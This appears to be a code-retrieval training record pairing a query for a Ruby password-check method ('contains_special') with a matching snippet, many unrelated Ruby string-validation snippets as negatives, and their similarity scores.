"def not_sensitive(myString)\n if [\"Admin\",\"admin\",\"Administrator\",\"ADMIN\",\"ADMINISTRATOR\"].include? myString\n false\n else\n true\n end\n end",
"def check_a_string_for_special_characters(string)\n string =~ /\\W/\nend",
"def user_special_character(user)\n characters = ['!', '#', '$', ' ']\n if !characters.select { |value| user.include? value }.empty?\n 'Sorry, user name cannot have a special characters.'\n else\n 'Yay, user name does not includes special characters.'\n end\nend",
"def not_keyword(string)\n\t\t(str(string) >> identifier_match.absent?).absent?\n\tend",
"def is_special?\n # Only consonants\n return true if self =~ /^[bcdfghjklmnpqrstvwxz]+$/i\n\n # Not a word\n return false if self =~ /[^\\s]\\s[^\\s]/;\n return false if self.length < 3;\n # Alphanumeric\n return true if self =~ /[0-9]/ && self =~ /[a-z]/i\n # All Caps\n return true if self =~ /[A-Z]{2,}/;\n # Caps Mix\n return true if self =~ /[a-z][A-Z]/;\n # All consonants\n return true if self =~ /^[a-z]$/i && self !~ /[aeiou]/i\n # Dashed word\n return true if self =~ /(^\\w-|-\\w$)/\n # To many consonants (very heuristic)\n if self =~ /([^aeiouy]{3,})/i && !CONSONANTS.include?($1.downcase)\n return true\n end\n\n return false\n end",
"def contains_forbidden?(string)\n string.dup.force_encoding('UTF-8').include?(\"\\u2019\")\n end",
"def has_bad?(str)\n # rubocop:enable Naming/PredicateName\n str[0...3].eql?('bad') || str[1...4].eql?('bad')\n end",
"def check_a_string_for_special_characters(string)\n string.scan(/\\W+/).length > 0\nend",
"def not_forbidden?(password)\n forbidden_words = [\"password\"] # can add words to this list as necessary.\n result = true\n forbidden_words.each {|word| result = false if password.downcase.include?(word)}\n result\nend",
"def negative?(word)\n [ 'dull',\n 'boring',\n 'annoying',\n 'chaotic'\n ].include?(word)\nend",
"def checkTypo(arg,regex)\r\n return !(arg=~regex)\r\nend",
"def not_in_alphabet?(letter)\n !UPPERCASE.include?(letter) && !LOWERCASE.include?(letter)\nend",
"def exclamation?\n if self.end_with?(\"!\")\n true\n else\n false\n end\n end",
"def country_exclude(affi_string)\n $country_exceptions.each do |not_a_country|\n if affi_string.include?(not_a_country)\n return affi_string.gsub(not_a_country, \"\")\n end\n end\n # if notting is removed\n return affi_string\nend",
"def not_lichen?\n lifeform.exclude?(\" lichen \")\n end",
"def text_not_search (string,text)\n\tif $browser.text.include? string \n\t\tputs \"Error: #{text} should not be present\"\n\tend\nend",
"def password_special_character(pass)\n characters = ['!', '#', '$']\n if characters.select { |value| pass.include? value }.empty?\n 'Sorry, password must have a special character.'\n else\n 'Yay, password includes a special character.'\n end\nend",
"def test_10_accepts_doesnt_include_password\n result = doesnt_include_password?(\"Hat123!!\")\n assert(result, \"Hat123!! has non alphanumeric, should be valid\")\n end",
"def test_11_rejects_doesnt_include_password\n result = doesnt_include_password?(\"Hapasswordt@HAT!\")\n refute(result, \"Hat@HAT! has no alphanumeric, should be valid\")\n end",
"def not_regexp(left, right)\n # could be DRYer, but this is more readable than: \"NOT #{self.=~(left,right)}\"\n raise if right.is_a? Regexp\n \"NOT #{left}#{quotify right}\"\n end",
"def test_rejects_passwords_containing_forbidden_words\n result = valid_password?(\"1Abjpasswordils&a\")\n refute(result, \"'1Abjpasswordils&a' should be invalid because it contains 'password'\")\n end",
"def exclamation?\n self.end_with?(\"!\")\n end",
"def exclamation?\n self.end_with?(\"!\")\n end",
"def exclamation?\n self.end_with?(\"!\")\n end",
"def clean?(string)\n !all.any? { |s| string.downcase.include? s }\n end",
"def test_9_rejects_includes_numbers\n result = includes_number?(\"Hat@HAT!\")\n refute(result, \"Hat@HAT! has no alphanumeric, should be valid\")\n end",
"def missing_letters(string)\n letters = %w[a b c d e f g h i j k l m n o p q r s t u v w x y z]\n letters.select { |c| c unless string.include?(c) }\nend",
"def has_bad_word(str)\n #Turn string (url or body) into UTF-8 and lower case\n new_str = str.force_encoding(\"UTF-8\").downcase\n bad_words = [\"spongebob\",\n \"britney spears\",\n \"paris hilton\",\n \"norrköping\"]\n return bad_words.any? { |word| new_str.include?(word) }\nend",
"def exclude?(fn)\n calculate_exclude_regexp unless @exclude_re\n fn =~ @exclude_re\n end",
"def test_8_return_false_if_letter_not_in_word\r\n $word = \"test\"\r\n letter = \"d\"\r\n results = letter_test(letter)\r\n assert_equal(false, results)\r\n end",
"def ignore?\n input.to_s[0] == '_'\n end",
"def get_true( string, non_significants = /[\\s',\\.\\-\\_]/ )\n string.gsub(non_significants, '').upcase\n end",
"def filter_invalid_word(word)\n # Define a string which includes all valid letter\n letters = \"abcdefghijklmnopqrstuvwxyz\"\n # Define return variable and give a default value\n valid = true\n # transfer the word to lowercase and take out off \\r\\n\n word = word.chomp.downcase\n # set return value as false if the length of word not exactly equal 5\n if (word.split(//).size != 5)\n valid = false\n end\n # loop each word\n word.split(//).each do |letter|\n # If the letter occurs more than once in the word, set return value to false\n if (word.count(letter.to_s)) > 1 \n valid = false\n end\n # If the letter does not included in valid letter, set return value to false\n if (letters.include?(letter) == false) \n valid = false\n end\n end\n # return a bool value to method\n return valid\n end",
"def exclamation(str)\n\n str.gsub(/!/, \"\")\nend",
"def is_valid(idn)\n !!idn.match(/\\A[a-zA-Z_$][a-zA-Z_$\\d]*\\z/)\nend",
"def mysql_ignore(words)\r\n return false unless words\r\n return true if superset?(@semantic_matcher.mysql_stop_words,words)\r\n # if all words are #'s ignore it\r\n words.each do |word|\r\n return false unless word.match(/\\d+/)\r\n end\r\n true\r\n end",
"def blacklist_filter?(str)\n @@black_list.each do |badword|\n if str.include?(badword)\n @@blacklist_count+=1\n return false\n end\n end\n true\n end",
"def unnecessary?(msg)\n UNNECESSARY.any? { |s| msg.downcase.include? s }\n end",
"def exempt?\n if @a_name.include?(\"book\") || @a_name.include?(\"chocolate\") || @a_name.include?(\"headache\")\n true\n else \n false\n end\n end",
"def exclude?(fn)\n calculate_exclude_regexp unless @exclude_re\n fn =~ @exclude_re\n end",
"def fail_letter?(letter)\n return @secret_word.include?(letter) ? false : letter\n end",
"def reject_words_that_contain(letter)\n change_wordlist(@words.select { |word,letters| word.word.index(letter) == nil })\n end",
"def missing_letters(string)\n ('a'..'z').reject {|letter| string.include?(letter)}\nend",
"def missing_letters(string)\n letters = ('a'..'z').to_a\n letters.reject { |char| string.downcase.include?(char) }\nend",
"def invalid?(str)\n str.scan(/\\w+|\\./).any? { |word| !(1..20).cover?(word.size) } ||\n str.empty? ||\n str.delete('.').empty?\nend",
"def missing_letters(string)\n alphabet='a'..'z'\n alphabet.reject {|el|string.downcase.include?(el)}\nend",
"def missing_letters(string)\n ('a'..'z').to_a.reject { |letter| string.include?(letter) }\nend",
"def missing_letters(string)\n ('a'..'z').reject { |letter| string.downcase.include? letter }\nend",
"def assert_does_not_contain(collection, x, extra_msg = \"\")\n collection = Array(collection)\n msg = \"#{x.inspect} found in #{collection.to_a.inspect} \" + extra_msg\n case x\n when Regexp\n assert(!collection.detect { |e| e =~ x }, msg)\n else\n assert(!collection.include?(x), msg)\n end\nend",
"def unpublished?\n /\\b(nom prov|comb prov|sensu lato|ined)\\b/i =~ author&.delete(\".\")\n end",
"def search_non_note(string)\n logger.info \"Searching for '#{string}'\"\n search string\n end",
"def test_a_character_class_can_be_negated\n assert_equal 'the number is ', \"the number is 42\"[/[^0-9]+/]\n end",
"def is_tax_exempt?(product_string)\n product_string.include?(\"book\") || product_string.include?(\"chocolate\") || product_string.include?(\"pills\") \n end",
"def vowel_or_not (a)\n vowels='aeiou'\n var.include? vowels #return soit true soit false\nend",
"def validate_string(string)\n !string.match(/\\A[-a-zA-Z0-9]*\\z/).nil?\n end",
"def without_instruction(text)\n text.gsub(/^you (should|must)/i, '').gsub(/\\.$/, '')\n end",
"def const_check(character)\n (character =~ /['bcdfghjklmnpqrstvwxyz']/) != nil\nend",
"def does_not_contain(&block)\n [:does_not_contain, block]\n end",
"def does_not_contain(&block)\n [:does_not_contain, block]\n end",
"def is_punctuation?(str)\n %w(. , ? ! ; :).include?(str)\n end",
"def test_6_accepts_includes_non_alphanumeric\n result = is_alphanumeric?(\"1Abjils&\")\n assert(result, \"1ABjils& has non alphanumeric, should be valid\")\n end",
"def anything_but(value)\n append \"(?:[^#{sanitize value}]*)\"\n end",
"def does_not_include_badwords\n\n badwords = %w(\n aloha!\n href=\n -online\n 1freewebspace.com\n 4u\n 5gighost.com\n accutane\n adipex\n adultsex\n advicer\n alprazolam\n amoxil\n arcadepages\n arimidex\n associations.missouristate.edu\n ativan\n augmentin\n baccarrat\n baclofen\n beaver\n blackjack\n bllogspot\n blogs.blackmarble.co.uk\n blowjob\n booker\n buspar\n byob\n car-rental-e-site\n car-rentals-e-site\n carisoprodol\n casino\n casinos\n chatroom\n cialis\n cipro\n citalopram\n clomid\n clonazepam\n comment1\n comment2\n comment3\n comment4\n comment5\n comment6\n coolcoolhu\n coolhu\n credit-card-debt\n credit-report-4u\n creditonlinepersonalloans\n cwas\n cyclen\n cyclobenzaprine\n dating-e-site\n day-trading\n debt-consolidation\n debt-consolidation-consultant\n diazepam\n diovan\n discreetordering\n dostinex\n duty-free\n dutyfree\n dvxuser.com\n equityloans\n fanreach.com\n fioricet\n flagyl\n flowers-leading-site\n fosamax\n freenet\n freenet-shopping\n gambling-\n hair-loss\n health-insurancedeals-4u\n hi5.com\n holdem\n holdempoker\n holdemsoftware\n holdemtexasturbowilson\n homeequityloans\n homefinance\n hotel-dealse-site\n hotele-site\n hotelse-site\n hydrocodone\n hyves.mn\n incest\n insurance-quotesdeals-4u\n insurancedeals-4u\n isuzuforums.com\n jestmaster\n jizz\n jrcreations\n kaboodle.com\n kamagra\n klonopin\n lamictal\n lesbian\n levaquin\n levitra\n lezbian\n loans\n lorazepam\n lycos\n macinstruct\n metformin\n metronidazole\n mortgage-4-u\n mortgagequotes\n musicstation\n nojazzfest\n nolvadex\n online-gambling\n onlinegambling-4u\n ottawavalleyag\n ownsthis\n palm-texas-holdem-game\n paxil\n paydal\n penguinforum\n penis\n personalloansbad\n pharmacy\n phenergan\n phentermine\n poker-chip\n porn\n poze\n profiles.friendster.com\n propecia\n proscar\n pussy\n remeron\n rental-car-e-site\n ringtone\n ringtones\n roulette\n shemale\n shoes\n slot-machine\n Staphcillin\n tamiflu\n tegretol\n texas-holdem\n thorcarlson\n top-e-site\n top-site\n toprol\n toradol\n tramadol\n tramodal\n tramodol\n trim-spa\n ultram\n valeofglamorganconservatives\n valium\n viagra\n vibramycin\n vicodin\n vioxx\n voltaren\n vytorin\n xanax\n zantac\n zithromax\n zofran\n zolpidem\n zolus\n )\n badwords.each do |bw|\n if !comment.nil? && comment.downcase.include?(bw) \n errors.add_to_base(\"Comment Rejected\") \n break\n end\n end\n end",
"def assert_does_not_contain(collection, x, extra_msg = \"\")\n collection = [collection] unless collection.is_a?(Array)\n msg = \"#{x.inspect} found in #{collection.to_a.inspect} \" + extra_msg\n case x\n when Regexp: assert(!collection.detect { |e| e =~ x }, msg)\n else assert(!collection.include?(x), msg)\n end \n end",
"def is_word?\n not is_punctuation?\n end",
"def missing_letters(string)\n missing = []\n ('a'..'z').each do |letter|\n if !string.include?(letter)\n missing << letter\n end\n end\n missing\nend",
"def missing_letters(string)\n return ('a'..'z').to_a.select {|e| !string.include?(e)}\nend",
"def is_possesive? word\n return true if $possesive_words.include? word.downcase\n return false\n end",
"def assert_does_not_contain(collection, x, extra_msg = \"\")\n collection = [collection] unless collection.is_a?(Array)\n msg = \"#{x.inspect} found in #{collection.to_a.inspect} \" + extra_msg\n case x\n when Regexp: assert(!collection.detect { |e| e =~ x }, msg)\n else assert(!collection.include?(x), msg)\n end \n end",
"def string_contains_reg_exp?(char_string, reg_exp)\n (char_string =~ reg_exp).nil?\nend",
"def process_not(exp)\n term = process exp.shift\n return \"!(#{term})\"\n end",
"def missing_letters(string)\n alphabet = (\"a\"..\"z\").to_a\n alphabet.reject { |x| string.downcase.include?(x) }\nend",
"def is_string_contains_another_string?(char_string, char_set)\n (char_string.sub(char_set, '**').index('**') ? true : false) if(valid_strings?(char_string, char_set))\nend",
"def should_be_excluded(potential_matches, exclude_paths)\n potential_matches.each do |potential_match|\n if exclude_paths.any? { |pattern| potential_match.match(/#{pattern}/i) }\n return true\n end\n end\n false\nend",
"def test_exclusion_match_nocase\r\n\t\tcontent = \"first line.\\nthis string contains a case insensitive match on: MyMatch123\"\r\n\t\tsnort_rule_content = SnortRuleContent.new\r\n\t\tsnort_rule_content.not_modifier = true\r\n\t\tsnort_rule_content.unescaped_string = \"mymatch123\"\r\n\t\tsnort_rule_content.nocase = true\r\n\t\tassert(!snort_rule_content.match(content,0),\"incorrect nocase exclusion match on content.\")\r\n\tend",
"def not( arg ); { $not => arg } end",
"def assert_does_not_contain(collection, x, extra_msg = \"\")\n collection = [collection] unless collection.is_a?(Array)\n msg = \"#{x.inspect} found in #{collection.to_a.inspect} \" + extra_msg\n case x\n when Regexp\n assert(!collection.detect { |e| e =~ x }, msg)\n else\n assert(!collection.include?(x), msg)\n end\n end",
"def word_contained_in_letters?(word, letters)\n word.chars.all? do |char|\n if pos = letters.index(char)\n letters.delete_at(pos)\n true\n else\n false\n end\n end\nend",
"def missing_letters(string)\n string = string.downcase\n (\"a\"..\"z\").to_a.reject {|letter| string.include?(letter) }\nend",
"def valid_word?(word, inner_letter, outer_letters)\n word.include?(inner_letter) && word.chars.uniq.all? {|l| @all_letters.chars.include?(l) }\n end",
"def punctuation?(string)\n signs = [',', '.', ':', ';', '?', '!', '–']\n string.split(//).any? {|character| signs.include?(character) }\nend",
"def invalid_word? word\n\t\tstopwords_list.collect{ |w| w if w.include? word.to_s.strip }.uniq.any?\n\tend",
"def prefix_not?\n negation_method? && loc.selector.is?('not')\n end"
] | [
"0.87164503",
"0.85450435",
"0.84527457",
"0.7684753",
"0.76714414",
"0.75634795",
"0.74500483",
"0.70066607",
"0.6873331",
"0.6779606",
"0.6685548",
"0.6646588",
"0.64807165",
"0.6382931",
"0.63530886",
"0.6341893",
"0.63106877",
"0.6266322",
"0.62487614",
"0.62434065",
"0.6185905",
"0.6182664",
"0.61112237",
"0.60418206",
"0.5997976",
"0.59209883",
"0.59202385",
"0.59023243",
"0.58972275",
"0.5894932",
"0.5860876",
"0.58176243",
"0.5797182",
"0.5794061",
"0.57829463",
"0.5772891",
"0.5683494",
"0.5681059",
"0.56785464",
"0.56785464",
"0.56785464",
"0.566299",
"0.56549734",
"0.5628361",
"0.5626181",
"0.5621846",
"0.55961794",
"0.5592068",
"0.558844",
"0.555652",
"0.55443645",
"0.55374926",
"0.5532448",
"0.553062",
"0.55266935",
"0.55248064",
"0.5510316",
"0.54989195",
"0.5486521",
"0.54795253",
"0.54783726",
"0.546073",
"0.5455135",
"0.54459506",
"0.5443618",
"0.5435319",
"0.54336",
"0.5431352",
"0.54235756",
"0.54146874",
"0.53853786",
"0.53808236",
"0.53752553",
"0.5374967",
"0.5366625",
"0.5366625",
"0.53628665",
"0.53592396",
"0.53583753",
"0.5356515",
"0.5349068",
"0.5349011",
"0.5334785",
"0.53303486",
"0.53301156",
"0.5311763",
"0.53109634",
"0.53017",
"0.5300984",
"0.5300645",
"0.52974886",
"0.5295586",
"0.5288389",
"0.527812",
"0.52629256",
"0.5261897",
"0.52490866",
"0.52415454",
"0.523271",
"0.5232154"
] | 0.72890615 | 7 |
Challenge Write a method called contains_special which checks to see if !, , $ is contained in a given String. | def contains_special(password)
if password.include?("!") || password.include?("#") || password.include?("$")
puts "Acceptable"
else
puts "Password must contain at least one of the following: !, #, or $"
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def contains_special?(string)\n if string.include?(\"!\") || string.include?(\"#\") || string.include?(\"$\")\n true\n else\n false\n end\nend",
"def contains_special(string)\n if (string.include?('!') || string.include?('#') || string.include?('$'))\n true\n else\n false\n end\nend",
"def contains_special(str)\n if str.include? ('!') or str.include? ('#') or str.include? ('$')\n true\n else\n false\n end\nend",
"def does_not_contain_special?(string)\n if string.include?(\"!\") || string.include?(\"#\") || string.include?(\"$\")\n false\n else\n true\n end\nend",
"def does_not_contain_special(str)\n if str.include? ('!') or str.include? ('#') or str.include? ('$')\n false\n else\n true\n end\nend",
"def does_not_contain_special str\n !(str.include?(\"#\") || str.include?(\"!\") || str.include?(\"$\"))\n end",
"def containsSpecial(password)\n if password.include?(\"!\") || password.include?(\"$\") || password.include?(\"#\")\n puts \"true\"\n else\n puts \"false\"\n end\nend",
"def check_a_string_for_special_characters(string)\n string.include?('@') ||\n string.include?('!') ||\n string.include?('£') ||\n string.include?('$') ||\n string.include?('%')\nend",
"def does_not_contain_special(user_id)\n if user_id.include?(\"!\") || user_id.include?(\"#\") || user_id.include?(\"$\")\n puts \"User ID cannot contain these characters: !, #, or $\"\n else \n puts \"Acceptable\"\n end\nend",
"def doesNotContainSpecial(userID)\n if !userID.include?(\"!\") && !userID.include?(\"#\") && !userID.include?(\"$\")\n puts \"true\"\n else\n puts \"false\"\n end\nend",
"def has_special_ch?(str)\n (str =~ @@regex)?true:false\n end",
"def check_a_string_for_special_characters(string)\n true_or_false = false\n # collect all non-special characters\n chars = []\n chars = ('a'..'z').to_a + ('A'..'Z').to_a + (0..9).to_a + (0..9).to_a + [\"0\",\"1\",\"2\",\"3\",\"4\",\"5\",\"6\",\"7\",\"8\",\"9\"]\n chars << \" \"\n # check each part of string to see if any special characters\n string.split(\"\").each {|character|\n if !chars.include?(character)\n true_or_false = true\n else\n next\n end\n }\n true_or_false\nend",
"def user_special_character(user)\n characters = ['!', '#', '$', ' ']\n if !characters.select { |value| user.include? value }.empty?\n 'Sorry, user name cannot have a special characters.'\n else\n 'Yay, user name does not includes special characters.'\n end\nend",
"def check_a_string_for_special_characters(string)\n\t# match() is used to check if there is any match as in the regexp. /\\W/ means non word characters.\n\tstring.chars.select {|char| char.match(/\\W/) }.any?\nend",
"def check_a_string_for_special_characters(string)\n string =~ /\\W/\nend",
"def is_special?\n # Only consonants\n return true if self =~ /^[bcdfghjklmnpqrstvwxz]+$/i\n\n # Not a word\n return false if self =~ /[^\\s]\\s[^\\s]/;\n return false if self.length < 3;\n # Alphanumeric\n return true if self =~ /[0-9]/ && self =~ /[a-z]/i\n # All Caps\n return true if self =~ /[A-Z]{2,}/;\n # Caps Mix\n return true if self =~ /[a-z][A-Z]/;\n # All consonants\n return true if self =~ /^[a-z]$/i && self !~ /[aeiou]/i\n # Dashed word\n return true if self =~ /(^\\w-|-\\w$)/\n # To many consonants (very heuristic)\n if self =~ /([^aeiouy]{3,})/i && !CONSONANTS.include?($1.downcase)\n return true\n end\n\n return false\n end",
"def password_special_character(pass)\n characters = ['!', '#', '$']\n if characters.select { |value| pass.include? value }.empty?\n 'Sorry, password must have a special character.'\n else\n 'Yay, password includes a special character.'\n end\nend",
"def check_a_string_for_special_characters(string)\n string.scan(/\\W+/).length > 0\nend",
"def not_sensitive(myString)\n if [\"Admin\",\"admin\",\"Administrator\",\"ADMIN\",\"ADMINISTRATOR\"].include? myString\n false\n else\n true\n end\n end",
"def is_string_contains_another_string?(char_string, char_set)\n (char_string.sub(char_set, '**').index('**') ? true : false) if(valid_strings?(char_string, char_set))\nend",
"def contains_forbidden?(string)\n string.dup.force_encoding('UTF-8').include?(\"\\u2019\")\n end",
"def string_check(elem)\n (('a'..'z').to_a + ('A'..'Z').to_a).each { |k| return true if elem.include?(k) }\n false\n end",
"def word_has?(letter)\n @word.include? letter\n end",
"def custom_include?(str, substr)\n # return true if substring is found anywhere\n # within the string. Return false otherwise.\n len = substr.length\n str.chars.each_with_index do |char, idx|\n return true if str[idx, len] == substr\n end\n false\nend",
"def str_start_with (orig_string, little_string)\n return !orig_string.match(/\\A#{Regexp.escape(little_string)}/).nil?\nend",
"def check_str(str,s)\n if str.include?s\n puts \"true\"\n else\n puts \"false\"\n end\nend",
"def SimpleSymbols(str)\n\n # code goes here\n possible = str.scan(/.?[a-z]./)\n matches = str.scan(/\\+[a-z]\\+/)\n if possible == matches\n true\n else\n false \n end\nend",
"def custom_includee(string, substring)\n string.split(substring).length != 1\nend",
"def contains(letter)\r\n @word.include?(letter)\r\n end",
"def const_check(character)\n (character =~ /['bcdfghjklmnpqrstvwxyz']/) != nil\nend",
"def string_contains_reg_exp?(char_string, reg_exp)\n (char_string =~ reg_exp).nil?\nend",
"def SimpleSymbols(str)\n return false if !str.index(/[A-Za-z]/) or str.empty?\n str.gsub!(/(\\+[A-Za-z])+\\+/,'')\n return false if str.index(/[A-Za-z]/)\n return true\nend",
"def SimpleSymbols(str)\n things = str.split(\"\")\n\n things.each_with_index do |unit, idx|\n if unit =~ /[a-z]/\n return false if things[idx - 1] != \"+\" || things[idx + 1] != \"+\"\n end\n end\n\n true\nend",
"def contains?(word)\n if word.length > 0\n if /lab/ =~ word\n puts \"#{word} contains the string 'lab'\"\n else\n puts \"Not in that word.\"\n end\n else\n puts \"Please specify a word.\"\n end\nend",
"def word_has?(letter)\r\n @word.include?(letter)\r\n end",
"def valid_word?(word, inner_letter, outer_letters)\n word.include?(inner_letter) && word.chars.uniq.all? {|l| @all_letters.chars.include?(l) }\n end",
"def word_has?(letter)\n @word.include?(letter)\n end",
"def variable_name? word\n word.start_with?('@') or word.start_with?('$')\n end",
"def escape_like(str)\n str.gsub(/[!%_]/){ |x| '!' + x }\n end",
"def get_true( string, non_significants = /[\\s',\\.\\-\\_]/ )\n string.gsub(non_significants, '').upcase\n end",
"def exclude?(string)\n !include?(string)\n end",
"def illegal(string)\n string.match(/^((?!ab|cd|pq|xy).)*$/).nil?\nend",
"def exclude(sub_string)\n puts \"Is substring excluded?\"\n val = !@value.include?(sub_string)\n end",
"def is_var(str)\n\t(\"a\"..\"z\").to_a.include?(str)\nend",
"def escape_special_char(str)\n str.gsub('[', '\\[').gsub(']', '\\]').gsub('(', '\\(').gsub(')', '\\)') if str\n end",
"def test_contains\n @fdb = setup\n assert(@fdb.contains?(\"PB&J Sandwich\") == true, \"Database does not contain recipe when it should\")\n assert(@fdb.contains?(\"Lemon Pie\") == false, \"False positive found\")\n assert(@fdb.contains?(\"Jelly\") == true, \"Database does not contain Jelly\")\n assert(@fdb.contains?(\"Cake\") == false, \"False positive found\")\n\n end",
"def vowel_or_not (a)\n vowels='aeiou'\n var.include? vowels #return soit true soit false\nend",
"def contains(str)\r\n ContainsText.new(str)\r\n end",
"def has_bad_word(str)\n #Turn string (url or body) into UTF-8 and lower case\n new_str = str.force_encoding(\"UTF-8\").downcase\n bad_words = [\"spongebob\",\n \"britney spears\",\n \"paris hilton\",\n \"norrköping\"]\n return bad_words.any? { |word| new_str.include?(word) }\nend",
"def has_lab?(string)\n if string.downcase =~ /lab/\n puts \"#{string} includes the word lab.\"\n else\n puts \"#{string} does not include the word lab\"\n end\nend",
"def contains(input, substr)\n input.include?(substr) ? true : false\n end",
"def not_forbidden?(password)\n forbidden_words = [\"password\"] # can add words to this list as necessary.\n result = true\n forbidden_words.each {|word| result = false if password.downcase.include?(word)}\n result\nend",
"def is_possesive? word\n return true if $possesive_words.include? word.downcase\n return false\n end",
"def contains str, settings\n return false unless settings.instance_of? String\n return false if settings.empty?\n settings.split('|').inject(false) { |r, t| true if str == t }\n end",
"def test_8_return_false_if_letter_not_in_word\r\n $word = \"test\"\r\n letter = \"d\"\r\n results = letter_test(letter)\r\n assert_equal(false, results)\r\n end",
"def SimpleSymbols(str)\n values = str.scan(/\\+\\w\\+/)\n if values.count > 0\n puts true\n else\n puts false\n end\nend",
"def SimpleSymbols(str)\n\n #1. surround the string by ='s\n #2. begin looping\n #3. look for letters\n #4. check if letters surround by a + on both sides\n #5. return false if they aren't\n #6. end loop\n #7. return true\n\n str = '=' + str + '='\n\n (0..str.length-1).each do |i|\n if /[a-zA-Z]/.match(str[i])\n if str[i-1] != '+' or str[i+1] != '+'\n return false\n end\n end\n end\n return true\n\nend",
"def contains?(char)\r\n any_letter_found = false\r\n each do |letter|\r\n if char.upcase == letter.content\r\n letter.state = :found\r\n any_letter_found = true\r\n end\r\n end\r\n any_letter_found\r\n end",
"def clean?(string)\n !all.any? { |s| string.downcase.include? s }\n end",
"def important?(word)\n\nend",
"def negative?(word)\n [ 'dull',\n 'boring',\n 'annoying',\n 'chaotic'\n ].include?(word)\nend",
"def check_in(word)\n if /lab/i =~ word # regex with \"i\" for case insensitive.\n puts word\n else\n puts \"Not present.\" \n end\nend",
"def fail_letter?(letter)\n return @secret_word.include?(letter) ? false : letter\n end",
"def str_include?(str, target_str)\n tmp = target_str.downcase\n if !!str.match(/#{tmp}/i)\n return true\n else\n return false\n end\n end",
"def check_special llorens_cliente_id\n specials = [\"4300999999\"]\n # 4300999999 is for non-company customers, not to be considered\n specials.include? llorens_cliente_id\n end",
"def extended?(variable)\n variable =~ extended_regex\n end",
"def handle_special_characters(text)\n\n if text.include?(\"'\") then\n text.gsub!(\"'\",\"_\")\n end\n if text.include?(\"\\\\\") then\n text.gsub!(\"\\\\\",\"_\")\n end\n\n text\n end",
"def SimpleSymbols(str)\n letters = str.scan(/[a-z]/)\n str.scan(/\\+[a-z]\\+/).count == letters.size ? true : false\nend",
"def letter_in_word?(letter)\n end",
"def filters?(str); end",
"def filters?(str); end",
"def wordInStrings(word, strings)\n for string in strings do\n\n if string.include? word\n return true\n end\n end\n\n return false\nend",
"def è_una_stringa?\n @contenuto.start_with? \"\\\"\" or\n @contenuto.start_with? \"'\" or\n @contenuto.start_with? \"%{\"\n end",
"def exempt?\n if @a_name.include?(\"book\") || @a_name.include?(\"chocolate\") || @a_name.include?(\"headache\")\n true\n else \n false\n end\n end",
"def is_valid(idn)\n !!idn.match(/\\A[a-zA-Z_$][a-zA-Z_$\\d]*\\z/)\nend",
"def punctuation?(string)\n signs = [',', '.', ':', ';', '?', '!', '–']\n string.split(//).any? {|character| signs.include?(character) }\nend",
"def is_wildcard_char? str\n self.class.is_wildcard_char? str\n end",
"def includes_string?(string)\n word = \"Dino\"\n\n if string.include?(word)\n puts \"Sentence does include #{word}! :)\"\n else\n puts \"Sentence does not include #{word}! :(\"\n end\nend",
"def starts_with_consonant? s\n # YOUR CODE HERE\n if s.start_with?(/[b-df-hj-np-tv-z]/i) \n return true\n end\n \n return false\nend",
"def blacklist_filter?(str)\n @@black_list.each do |badword|\n if str.include?(badword)\n @@blacklist_count+=1\n return false\n end\n end\n true\n end",
"def lab_in_string(word)\n\tword = word.downcase\n\tif /lab/ =~ word\n\t\tputs 'lab is in the string '+word+'.'\n\telse\n\tputs 'Lab is not in the string '+word+'.'\t\n\tend\nend",
"def checkTypo(arg,regex)\r\n return !(arg=~regex)\r\nend",
"def single_quote?(text)\n text.include?(\"'\")\n end",
"def word_contained_in_letters?(word, letters)\n word.chars.all? do |char|\n if pos = letters.index(char)\n letters.delete_at(pos)\n true\n else\n false\n end\n end\nend",
"def arr_in_phrase? (arr, string)\n\t#might be unefficient to recreate the reg each time, maybe better to return a regex?\n\treg = arr.map {|str| Regexp.escape(str)}\n\treg = /#{arr.join(\"|\")}/ \n\treturn reg === string\nend",
"def block_word?(string)\n hash = { 'B' => 'O', 'G' => 'T', 'V' => 'I', \n 'X' => 'K', 'R' => 'E', 'L' => 'Y',\n 'D' => 'Q', 'F' => 'S', 'Z' => 'M',\n 'C' => 'P', 'J' => 'W', 'N' => 'A', 'H' => 'U'}\n\n banned_letters = []\n bool = true\n letters = string.upcase.chars\n letters.each do |letter|\n if hash.has_key?(letter)\n banned_letters << hash[letter]\n elsif hash.has_value?(letter)\n banned_letters << hash.key(letter)\n end\n end\n banned_letters.each do |letter|\n if letters.include?(letter)\n bool = false\n break\n else\n next\n end\n end\n bool\nend",
"def not_in_alphabet?(letter)\n !UPPERCASE.include?(letter) && !LOWERCASE.include?(letter)\nend",
"def SimpleSymbols(str)\n if str =~ /[a-zA-Z]/ && str != \"\"\n \ti = 1\n \twhile i < str.length\n \t if str[i-1] != \"+\" || str[i + 1] != \"+\"\n \t \treturn false\n else\n \t \treturn true \n \t end\n \t i += 1\n # code goes here\n end\n end\nend",
"def letter_match?(letter)\n if @secret.include?(letter)\n return true; end\n return false\n end",
"def reserved_word?(str)\n RESERVED_WORDS.include?(str.downcase)\n end",
"def test_contain_password11\n result = contains_password?(\"passwrd1*\")\n assert(result, \"'passwrd1*' should be valid because it doesn't contain 'password'\")\n end",
"def starts_with_consonant?(s)\n !!(s =~ /^[A-Z&&[^AEIOU]]/i)\nend",
"def suburb_to_check(s)\n\tif ['bondi', 'coogee', 'clovelly', 'centenial park'].include? s\n\t\tputs \"parking is hard\"\n\telsif s == 'chatswood'\n\t\tputs \"good ramen\"\n\telse\n\t\tputs \"I'm sure that's very nice\"\nend\nend",
"def filter_invalid_word(word)\n # Define a string which includes all valid letter\n letters = \"abcdefghijklmnopqrstuvwxyz\"\n # Define return variable and give a default value\n valid = true\n # transfer the word to lowercase and take out off \\r\\n\n word = word.chomp.downcase\n # set return value as false if the length of word not exactly equal 5\n if (word.split(//).size != 5)\n valid = false\n end\n # loop each word\n word.split(//).each do |letter|\n # If the letter occurs more than once in the word, set return value to false\n if (word.count(letter.to_s)) > 1 \n valid = false\n end\n # If the letter does not included in valid letter, set return value to false\n if (letters.include?(letter) == false) \n valid = false\n end\n end\n # return a bool value to method\n return valid\n end",
"def simpleSymbols(str)\n\tstr = str.split('')\n\tstr.map.with_index{|char,i| \n\t\tif(char =~ /[a-zA-Z]/)\n\t\t\treturn false if str.index(char) == 0\n\t\t\tif(str[i - 1] != \"+\" || str[i + 1] != \"+\")\n\t\t\t\treturn false\n\t\t\tend\n\t\tend\n\t}\n\treturn true\nend",
"def strict_matching(ingredient_name,item)\n return item.downcase.include?(ingredient_name)\nend",
